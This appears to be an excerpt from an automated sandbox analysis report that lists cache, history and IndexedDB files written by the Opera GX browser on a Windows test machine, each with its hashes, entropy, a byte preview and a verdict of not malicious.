                                                                                                                                                                                                              MD5:EDF2A82839BC405A532A8319367D18BF
                                                                                                                                                                                                              SHA1:EB221320728672EEA240A6604BE36515B058090F
                                                                                                                                                                                                              SHA-256:1696A84DCB0559458BB2CD1B7C72D5513BB03E92BAE57320605E8F21E1639784
                                                                                                                                                                                                              SHA-512:6DDCD813210890BC697730E2F2E283A8F895249C6D378AFE36FF9A433ED62B1C1387B715AB271988925DA3060368907052B5C7D2544D2C9492948BA42292EA14
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:SQLite format 3......@ ..........................................................................v..........g....._.c...~.2.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................s...;+...indexfavicon_bitmaps_icon_idfavico

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\GPUCache\data_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8192
                                                                                                                                                                                                              Entropy (8bit):0.01057775872642915
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:CF89D16BB9107C631DAABF0C0EE58EFB
                                                                                                                                                                                                              SHA1:3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
                                                                                                                                                                                                              SHA-256:D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
                                                                                                                                                                                                              SHA-512:8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\GPUCache\data_1

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):270336
                                                                                                                                                                                                              Entropy (8bit):8.280239615765425E-4
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:D0D388F3865D0523E451D6BA0BE34CC4
                                                                                                                                                                                                              SHA1:8571C6A52AACC2747C048E3419E5657B74612995
                                                                                                                                                                                                              SHA-256:902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
                                                                                                                                                                                                              SHA-512:376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\GPUCache\data_2

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8192
                                                                                                                                                                                                              Entropy (8bit):0.011852361981932763
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:0962291D6D367570BEE5454721C17E11
                                                                                                                                                                                                              SHA1:59D10A893EF321A706A9255176761366115BEDCB
                                                                                                                                                                                                              SHA-256:EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
                                                                                                                                                                                                              SHA-512:F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\GPUCache\data_3

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8192
                                                                                                                                                                                                              Entropy (8bit):0.012340643231932763
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:41876349CB12D6DB992F1309F22DF3F0
                                                                                                                                                                                                              SHA1:5CF26B3420FC0302CD0A71E8D029739B8765BE27
                                                                                                                                                                                                              SHA-256:E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
                                                                                                                                                                                                              SHA-512:E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\GPUCache\index

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):262512
                                                                                                                                                                                                              Entropy (8bit):9.553120663130604E-4
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:E332AC5F766E40FA6484087309B2F89A
                                                                                                                                                                                                              SHA1:485B02CE1797E020411A584E9A5C612137D763E6
                                                                                                                                                                                                              SHA-256:C270FFBDFD38EF628E1DE91507C629C35D0AB6027678CF5EA8C3D1F6C0A9D887
                                                                                                                                                                                                              SHA-512:08648762C4949C1B232F60B5A23DF2C848E08A25DE23988ACA28341BA938873396EFE5990C1B629279B3BEE34E4A79FA7360D12C26A2593F0B50EFAC71CEDDFF
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.........................................>.../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\GrShaderCache\data_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8192
                                                                                                                                                                                                              Entropy (8bit):0.01057775872642915
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:CF89D16BB9107C631DAABF0C0EE58EFB
                                                                                                                                                                                                              SHA1:3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
                                                                                                                                                                                                              SHA-256:D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
                                                                                                                                                                                                              SHA-512:8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\GrShaderCache\data_1

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):270336
                                                                                                                                                                                                              Entropy (8bit):8.280239615765425E-4
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:D0D388F3865D0523E451D6BA0BE34CC4
                                                                                                                                                                                                              SHA1:8571C6A52AACC2747C048E3419E5657B74612995
                                                                                                                                                                                                              SHA-256:902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
                                                                                                                                                                                                              SHA-512:376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\GrShaderCache\data_2

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8192
                                                                                                                                                                                                              Entropy (8bit):0.011852361981932763
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:0962291D6D367570BEE5454721C17E11
                                                                                                                                                                                                              SHA1:59D10A893EF321A706A9255176761366115BEDCB
                                                                                                                                                                                                              SHA-256:EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
                                                                                                                                                                                                              SHA-512:F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\GrShaderCache\data_3

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8192
                                                                                                                                                                                                              Entropy (8bit):0.012340643231932763
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:41876349CB12D6DB992F1309F22DF3F0
                                                                                                                                                                                                              SHA1:5CF26B3420FC0302CD0A71E8D029739B8765BE27
                                                                                                                                                                                                              SHA-256:E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
                                                                                                                                                                                                              SHA-512:E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\GrShaderCache\index

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):262512
                                                                                                                                                                                                              Entropy (8bit):9.553120663130604E-4
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:CC264210AD3A5B3DEAC1961F7BF75616
                                                                                                                                                                                                              SHA1:26B7073541E9746C1376879C640E5A64455E7BC6
                                                                                                                                                                                                              SHA-256:3EE7AAF03947F82EFB3655AE6B39059CABC6779679D55656B5A2354922739528
                                                                                                                                                                                                              SHA-512:0463EB8B572BC724C07CC1CA9D44FDCE013AD43B9C2D1BA610B6EEEE2759E5A02A032700094E01C0E5A96777E6E57CED5C4829846E447098A0C9C235DB1B5F5B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........................................-0c../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\GraphiteDawnCache\data_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8192
                                                                                                                                                                                                              Entropy (8bit):0.01057775872642915
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:CF89D16BB9107C631DAABF0C0EE58EFB
                                                                                                                                                                                                              SHA1:3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
                                                                                                                                                                                                              SHA-256:D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
                                                                                                                                                                                                              SHA-512:8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\GraphiteDawnCache\data_1

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):270336
                                                                                                                                                                                                              Entropy (8bit):8.280239615765425E-4
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:D0D388F3865D0523E451D6BA0BE34CC4
                                                                                                                                                                                                              SHA1:8571C6A52AACC2747C048E3419E5657B74612995
                                                                                                                                                                                                              SHA-256:902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
                                                                                                                                                                                                              SHA-512:376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\GraphiteDawnCache\data_2

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8192
                                                                                                                                                                                                              Entropy (8bit):0.011852361981932763
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:0962291D6D367570BEE5454721C17E11
                                                                                                                                                                                                              SHA1:59D10A893EF321A706A9255176761366115BEDCB
                                                                                                                                                                                                              SHA-256:EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
                                                                                                                                                                                                              SHA-512:F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\GraphiteDawnCache\data_3

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8192
                                                                                                                                                                                                              Entropy (8bit):0.012340643231932763
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:41876349CB12D6DB992F1309F22DF3F0
                                                                                                                                                                                                              SHA1:5CF26B3420FC0302CD0A71E8D029739B8765BE27
                                                                                                                                                                                                              SHA-256:E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
                                                                                                                                                                                                              SHA-512:E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\GraphiteDawnCache\index

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):262512
                                                                                                                                                                                                              Entropy (8bit):9.553120663130604E-4
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:B0D65D7175AE6BDCD847F6E1B483C626
                                                                                                                                                                                                              SHA1:AA3C497A96E2C177F434F476ED4F192FD3A6E2D6
                                                                                                                                                                                                              SHA-256:8169D3F33C7323B3D20CD4DF9886BECAB5F99FB8903059687BD344E4B04A405C
                                                                                                                                                                                                              SHA-512:F1177D7B2199A77AB9ECAE0A456E0EA7D7C7C1C4458E4CA55FE71064DA623B2852DB26A9C8843562E94466024FB8E8C74F07D4AEEDFA1C22913F4E9876D2C6F9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.........................................Hh../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\History

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:SQLite 3.x database, last written using SQLite version 3045002, file counter 2, database pages 40, cookie 0x21, schema 4, UTF-8, version-valid-for 2
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):163840
                                                                                                                                                                                                              Entropy (8bit):0.593031757098378
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:E16F07CA668B0CCEBB6A82F62F3B8EB9
                                                                                                                                                                                                              SHA1:E80313B4336D730508CF9858514CEC2CA898758A
                                                                                                                                                                                                              SHA-256:75A2096DAC3D699E8D0A6E857D1405C36669D9FEAB660E454CFABD65D7F9FBC1
                                                                                                                                                                                                              SHA-512:5DE52E085A2B1A5D37F9567A9C9B0289AADE3F9F4B9F25950BB911E1D8CBE22CDAD7C1E6C211E4966838297155B4610EFAB8387C8583E7A21B3CFAFE285748B2
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:SQLite format 3......@ .......(...........!......................................................v.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\History-journal

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):37448
                                                                                                                                                                                                              Entropy (8bit):0.14426459013699788
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:95804A36C7C5A766CAFD9CF3F79CAAF8
                                                                                                                                                                                                              SHA1:501B256E1F4B13968AE08D967337D8FF3417FAB3
                                                                                                                                                                                                              SHA-256:FAAE1254DF0C94D0898CC2F3C5C977A3E1AAA7FA16D27CA34A01F1D5438BDDEC
                                                                                                                                                                                                              SHA-512:1559CC1C4082665AC3586345859282FB57173FB11460191F742AEC2B521EB10ECFA262972180610BB80247B00E9E1CDFD383741BC20B4B52A21FF4215B77C3C4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:..............*....(....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\IndexedDB\chrome_startpage_0.indexeddb.leveldb\000001.dbtmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):16
                                                                                                                                                                                                              Entropy (8bit):3.2743974703476995
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:46295CAC801E5D4857D09837238A6394
                                                                                                                                                                                                              SHA1:44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
                                                                                                                                                                                                              SHA-256:0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
                                                                                                                                                                                                              SHA-512:8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\IndexedDB\chrome_startpage_0.indexeddb.leveldb\000003.log

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):974
                                                                                                                                                                                                              Entropy (8bit):3.667612048203854
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:2FF78A3372ED29F77CB7854BA49F2F58
                                                                                                                                                                                                              SHA1:70409F29A7E289E2B7A2A9D20E66424F93E81D34
                                                                                                                                                                                                              SHA-256:EC47B9A0FED1D45F16D83EBEE8CE623D695170488992152693FACDD98FEA3C3F
                                                                                                                                                                                                              SHA-512:911C3C56B83275CB855E40DF2A3263337A8CED7EF7D2F04B1BDFD24A700C6C1A11871136CE99E9870AC5C9709BC79CDE231D8ADFFDA84129711DD54D97942132
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:. ......................2.......".....................................!.sj........................?.......c.h.r.o.m.e._.s.t.a.r.t.p.a.g.e._.0.@.1..g.x.-.t.i.l.e.s.....................c..L.............................2.........gx-tiles......2..........................................................2....r.a.s.t.e.r.s......2........i.d......2..........2..........2..........2..........2..........2.............r.a.s.t.e.r.s........2.........2...........................2....................2........2....................2........2....................2........2....................2........2....................2........2....................2........2....................2........2....................2........2.......................r.a.s.t.e.r.s...... .................2.................2.................2.................2.................2.................2.................2.................2.................2.................2.................2.................2..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\IndexedDB\chrome_startpage_0.indexeddb.leveldb\CURRENT (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):16
                                                                                                                                                                                                              Entropy (8bit):3.2743974703476995
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:46295CAC801E5D4857D09837238A6394
                                                                                                                                                                                                              SHA1:44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
                                                                                                                                                                                                              SHA-256:0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
                                                                                                                                                                                                              SHA-512:8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\IndexedDB\chrome_startpage_0.indexeddb.leveldb\LOG

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):351
                                                                                                                                                                                                              Entropy (8bit):5.28281922250542
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:A83AE751F831CA8C19D4D0A9CE67463B
                                                                                                                                                                                                              SHA1:D45021DC8DF9DECF8960E4C2DE5788A8DCFB2EC3
                                                                                                                                                                                                              SHA-256:1B9E101BB40892852C427419C5561DB25D32C7F0ED15AE65D1D9128281390576
                                                                                                                                                                                                              SHA-512:3D22404C359FCBDF537237C75141B04DCCA442235DE18775B947718FC7D9153A012DCD1A2E7A130AD811E60513C82446CE272DBDD9800D5E3C2687575D38BD1F
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:2024/10/13-04:34:22.946 113c Creating DB C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\IndexedDB\chrome_startpage_0.indexeddb.leveldb since it was missing..2024/10/13-04:34:22.964 113c Reusing MANIFEST C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\IndexedDB\chrome_startpage_0.indexeddb.leveldb/MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\IndexedDB\chrome_startpage_0.indexeddb.leveldb\MANIFEST-000001

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):23
                                                                                                                                                                                                              Entropy (8bit):4.142914673354254
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:3FD11FF447C1EE23538DC4D9724427A3
                                                                                                                                                                                                              SHA1:1335E6F71CC4E3CF7025233523B4760F8893E9C9
                                                                                                                                                                                                              SHA-256:720A78803B84CBCC8EB204D5CF8EA6EE2F693BE0AB2124DDF2B81455DE02A3ED
                                                                                                                                                                                                              SHA-512:10A3BD3813014EB6F8C2993182E1FA382D745372F8921519E1D25F70D76F08640E84CB8D0B554CCD329A6B4E6DE6872328650FEFA91F98C3C0CFC204899EE824
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........idb_cmp1......

